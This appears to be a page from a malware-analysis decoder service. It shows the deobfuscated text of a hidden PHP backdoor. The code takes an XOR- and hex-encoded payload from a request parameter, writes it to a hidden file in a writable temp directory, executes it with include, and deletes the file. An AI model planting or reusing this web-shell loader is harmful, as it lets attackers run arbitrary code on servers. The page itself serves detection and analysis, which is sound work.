Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	(array_key_exists("obj", $_REQUEST) && !is_null($_REQUEST["obj"])){
	 $rec = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd()]);
	 $parameter_group = hex2bin($_REQUEST["obj"]);
	 $binding ='';
	$c = 0;
		 while($c < strlen($parameter_group)){
		$binding .= chr(ord($parameter_group[$c]) ^ 93);
		$c++;
	}
	 $itm = 0;
		 do {
		 $marker = $rec[$itm] ?? null;
		 if ($itm >= count($rec)) break;
			 if ((bool)is_dir($marker) && (bool)is_writable($marker)) {
			 $ref = sprintf("%s/.res", $marker);
			 $file = fopen($ref, 'w');
				 if ($file) {
				 fwrite($file, $binding);
				 fclose($file);
				 include $ref;
				 @unlink($ref);
				 die();
				 
			}
			 
		}
		 $itm++;
		 
	}
	 while (true);
	 
}



© 2023 Quttera Ltd. All rights reserved.